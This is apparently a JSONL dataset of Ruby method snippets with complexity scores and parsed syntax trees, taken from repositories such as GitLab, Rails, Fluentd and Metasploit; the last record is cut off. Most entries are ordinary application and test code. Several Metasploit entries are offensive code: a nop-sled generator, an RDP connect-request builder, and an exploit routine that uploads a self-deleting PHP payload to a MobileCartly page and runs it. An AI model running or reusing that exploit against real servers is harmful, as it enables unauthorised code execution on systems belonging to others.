+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/simple/nop.rb","start_line":23,"raw_source":"def self.generate_simple(nop, length, opts)\n # Generate the nop sled using the options supplied\n buf = nop.generate_sled(length, opts)\n\n # Serialize the generated payload to some sort of format\n return Buffer.transform(buf, opts['Format'] || 'raw')\n end","complexity_score":5.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"generate_simple\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nop\"]},{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nop\"]},\"generate_sled\",{\"type\":\"lvar\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Buffer\"]},\"transform\",{\"type\":\"lvar\",\"children\":[\"buf\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Format\"]}]},{\"type\":\"str\",\"children\":[\"raw\"]}]}]}]}]}]}","id":"5bfecd31-efe4-4fe2-bf54-e5bde1a07838"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":329,"raw_source":"def use_glob?(path)\n if @glob_policy == :always\n # For future extensions, we decided to use `always' term to handle\n # regular expressions as much as possible.\n # This is because not using `true' as a returning value\n # when choosing :always here.\n extended_glob_pattern(path) || /\\{.*,.*\\}/.match?(path)\n elsif @glob_policy == :extended\n extended_glob_pattern(path)\n elsif @glob_policy == :backward_compatible\n path.include?('*')\n end\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"use_glob?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@glob_policy\"]},\"==\",{\"type\":\"sym\",\"children\":[\"always\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extended_glob_pattern\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\{.*,.*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@glob_policy\"]},\"==\",{\"type\":\"sym\",\"children\":[\"extended\"]}]},{\"type\":\"send\",\"children\":[null,\"extended_glob_pattern\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@glob_policy\"]},\"==\",{\"type\":\"sym\",\"children\":[\"backward_compatible\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"include?\",{\"type\":\"str\",\"children\":[\"*\"]}]},null]}]}]}]}","id":"2fe6b6b5-40c0-4f04-960b-030eeed4e47e"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/file_depot_mixin.rb","start_line":146,"raw_source":"def file_stat(file)\n with_depot do\n mnt.stat(file)\n end\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"file_stat\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_depot\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mnt\"]},\"stat\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}","id":"21d452a7-ad22-44ff-9d17-e8627b96ae84"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/rdp.rb","start_line":788,"raw_source":"def pdu_negotiation_request(user_name = \"\", requested_protocols = 0)\n # Blank username is ok, nil = random\n user_name = Rex::Text.rand_text_alpha(12) if user_name.nil?\n tpkt_len = user_name.length + 38\n x224_len = user_name.length + 33\n\n \"\\x03\\x00\" + # TPKT Header version 03, reserved 0\n [tpkt_len].pack(\"S>\") + # TPKT length: 43\n [x224_len].pack(\"C\") + # X.224 LengthIndicator\n \"\\xe0\" + # X.224 Type: Connect Request\n \"\\x00\\x00\" + # dst reference\n \"\\x00\\x00\" + # src reference\n \"\\x00\" + # class and options\n # cookie - literal 'Cookie: mstshash='\n \"\\x43\\x6f\\x6f\\x6b\\x69\\x65\\x3a\\x20\\x6d\\x73\\x74\\x73\\x68\\x61\\x73\\x68\\x3d\" +\n user_name + # Identifier \"username\"\n \"\\x0d\\x0a\" + # cookie terminator\n \"\\x01\\x00\" + # Type: RDP Negotiation Request ( 0x01 )\n \"\\x08\\x00\" + # Length\n [requested_protocols].pack('L<') # requestedProtocols\n end","complexity_score":46.53,"ast_json":"{\"type\":\"def\",\"children\":[\"pdu_negotiation_request\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user_name\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"requested_protocols\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"Cookie: mstshash=\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"user_name\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0001\\u0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\b\\u0000\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requested_protocols\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"L<\"]}]}]}]}","id":"f46636ef-1bca-414c-86c6-08f02ad2506d"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/discord.rb","start_line":111,"raw_source":"def notify(message, opts)\n webhook_url = opts[:channel]&.first || webhook\n\n payload = {\n content: '',\n embeds: Array.wrap(build_embed(message))\n }\n\n response = Gitlab::HTTP.post(\n webhook_url,\n headers: { 'Content-Type' => 'application/json' },\n body: Gitlab::Json.dump(payload)\n )\n\n return response if response.success?\n\n log_error('Error notifying Discord',\n response_body: response.body,\n response_code: response.code\n )\n end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"notify\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"webhook_url\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},\"first\"]},{\"type\":\"send\",\"children\":[null,\"webhook\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embeds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[null,\"build_embed\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"HTTP\"]},\"post\",{\"type\":\"lvar\",\"children\":[\"webhook_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"str\",\"children\":[\"Error notifying Discord\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"response_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"code\"]}]}]}]}]}]}","id":"239cc0c6-9d99-4e05-b8a0-1fa007eff574"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/features/browser_ui/4_verify/ci_project_artifacts/user_can_bulk_delete_artifacts_spec.rb","start_line":54,"raw_source":"def content\n (1..total_jobs_count).map do |i|\n <<~YAML\n job_with_artifact_#{i}:\n tags: [\"#{executor}\"]\n script:\n - mkdir tmp\n - echo \"write some random strings #{i} times\" >> tmp/file_#{i}.xml\n artifacts:\n paths:\n - tmp\n YAML\n end.join(\"\\n\")\n end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"total_jobs_count\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"job_with_artifact_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\":\\n\"]},{\"type\":\"str\",\"children\":[\" tags: [\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"executor\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\\n\"]},{\"type\":\"str\",\"children\":[\" script:\\n\"]},{\"type\":\"str\",\"children\":[\" - mkdir tmp\\n\"]},{\"type\":\"str\",\"children\":[\" - echo \\\"write some random strings \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\" times\\\" >> tmp/file_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\".xml\\n\"]},{\"type\":\"str\",\"children\":[\" artifacts:\\n\"]},{\"type\":\"str\",\"children\":[\" paths:\\n\"]},{\"type\":\"str\",\"children\":[\" - tmp\\n\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"08767d62-7d5b-4f74-b5bc-f22ab84dba68"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/container_expiration_policies_helper.rb","start_line":4,"raw_source":"def cadence_options\n ContainerExpirationPolicy.cadence_options.map do |key, val|\n { key: key.to_s, label: val }.tap do |base|\n base[:default] = true if key.to_s == '1d'\n end\n end\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cadence_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerExpirationPolicy\"]},\"cadence_options\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"1d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},null]}]}]}]}","id":"f2899774-fd41-460e-84f3-24a31da5ce50"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/update_service.rb","start_line":184,"raw_source":"def clone_issue(issue)\n target_container = params.delete(:target_clone_container)\n with_notes = params.delete(:clone_with_notes)\n\n return unless target_container &&\n issue.can_clone?(current_user, target_container)\n\n # we've pre-empted this from running in #execute, so let's go ahead and update the Issue now.\n update(issue)\n\n clone_service_container = target_container.is_a?(Project) ? target_container.project_namespace : target_container\n\n ::WorkItems::DataSync::CloneService.new(\n work_item: issue, current_user: current_user, target_namespace: clone_service_container,\n params: { clone_with_notes: with_notes }\n ).execute[:work_item]\n end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clone_issue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_container\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"target_clone_container\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"with_notes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"clone_with_notes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"can_clone?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"target_container\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"lvasgn\",\"children\":[\"clone_service_container\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_container\"]},\"project_namespace\"]},{\"type\":\"lvar\",\"children\":[\"target_container\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkItems\"]},\"DataSync\"]},\"CloneService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_namespace\"]},{\"type\":\"lvar\",\"children\":[\"clone_service_container\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clone_with_notes\"]},{\"type\":\"lvar\",\"children\":[\"with_notes\"]}]}]}]}]}]},\"execute\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"work_item\"]}]}]}]}","id":"38a43596-9989-4d72-a612-4d33d0964202"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/strict_loading_test.rb","start_line":222,"raw_source":"def test_strict_loading_on_concat_is_ignored\n developer = Developer.first\n developer.strict_loading!\n\n assert_nothing_raised do\n developer.audit_logs << AuditLog.new(message: \"message\")\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strict_loading_on_concat_is_ignored\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"strict_loading!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"audit_logs\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuditLog\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"message\"]}]}]}]}]}]}]}]}","id":"4bfa3d45-f6b2-427e-adc0-21bc873b5439"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/markdown_output.rb","start_line":4,"raw_source":"def setup\n @@report ||= Brakeman.run(\n :app_path => \"#{TEST_PATH}/apps/rails2\",\n :quiet => true,\n :run_all_checks => true\n ).report.to_markdown\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@report\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TEST_PATH\"]}]},{\"type\":\"str\",\"children\":[\"/apps/rails2\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quiet\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"run_all_checks\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"report\"]},\"to_markdown\"]}]}]}","id":"40bfcb8c-3488-4ca8-bd2d-58a9fca4501f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":661,"raw_source":"def self.total_time_to_merge\n join_metrics\n .where(\n # Replicating the scope MergeRequest::Metrics.with_valid_time_to_merge\n MergeRequest::Metrics.arel_table[:merged_at].gt(\n MergeRequest::Metrics.arel_table[:created_at]\n )\n )\n .pick(MergeRequest::Metrics.time_to_merge_expression)\n end","complexity_score":13.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"total_time_to_merge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"join_metrics\"]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"Metrics\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"merged_at\"]}]},\"gt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"Metrics\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]},\"pick\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"Metrics\"]},\"time_to_merge_expression\"]}]}]}","id":"06c6055c-4cab-4fb8-b0b8-2a8e16603ea6"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/wiki.rb","start_line":393,"raw_source":"def repository\n @repository ||= Gitlab::GlRepository::WIKI.repository_for(self)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlRepository\"]},\"WIKI\"]},\"repository_for\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"4191b26d-1a9e-4e03-b7cf-b67765627c5e"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/mobilecartly_upload_exec.rb","start_line":77,"raw_source":"def exploit\n #\n # Init target path\n #\n uri = normalize_uri(target_uri.path)\n uri << '/' if uri[-1, 1] != '/'\n base = File.dirname(\"#{uri}.\")\n\n #\n # Configure payload names\n #\n php_fname = Rex::Text.rand_text_alpha(5) + \".php\"\n\n #\n # Upload payload\n #\n print_status(\"Uploading payload\")\n res = send_request_cgi({\n 'uri' => normalize_uri(base, \"/includes/savepage.php\"),\n 'vars_get' => {\n 'savepage' => php_fname,\n 'pagecontent' => get_write_exec_payload(:unlink_self => true)\n }\n })\n\n if not res\n print_error(\"No response from server, will not continue.\")\n return\n end\n\n #\n # Run payload\n #\n print_status(\"Requesting '#{php_fname}'\")\n send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) })\n\n handler\n end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"php_fname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"/includes/savepage.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"savepage\"]},{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pagecontent\"]},{\"type\":\"send\",\"children\":[null,\"get_write_exec_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlink_self\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No response from server, will not continue.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"pages\"]},{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"c71df543-6ed0-4333-b994-c5731260f876"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":876,"raw_source":"def test_respect_internal_encoding\n old_default_internal = Encoding.default_internal\n silence_warnings { Encoding.default_internal = \"EUC-JP\" }\n\n Weird.reset_column_information\n\n assert_equal [\"EUC-JP\"], Weird.columns.map { |c| c.name.encoding.name }.uniq\n ensure\n silence_warnings { Encoding.default_internal = old_default_internal }\n Weird.reset_column_information\n end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_respect_internal_encoding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_default_internal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_internal\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_internal=\",{\"type\":\"str\",\"children\":[\"EUC-JP\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Weird\"]},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EUC-JP\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Weird\"]},\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"encoding\"]},\"name\"]}]},\"uniq\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\"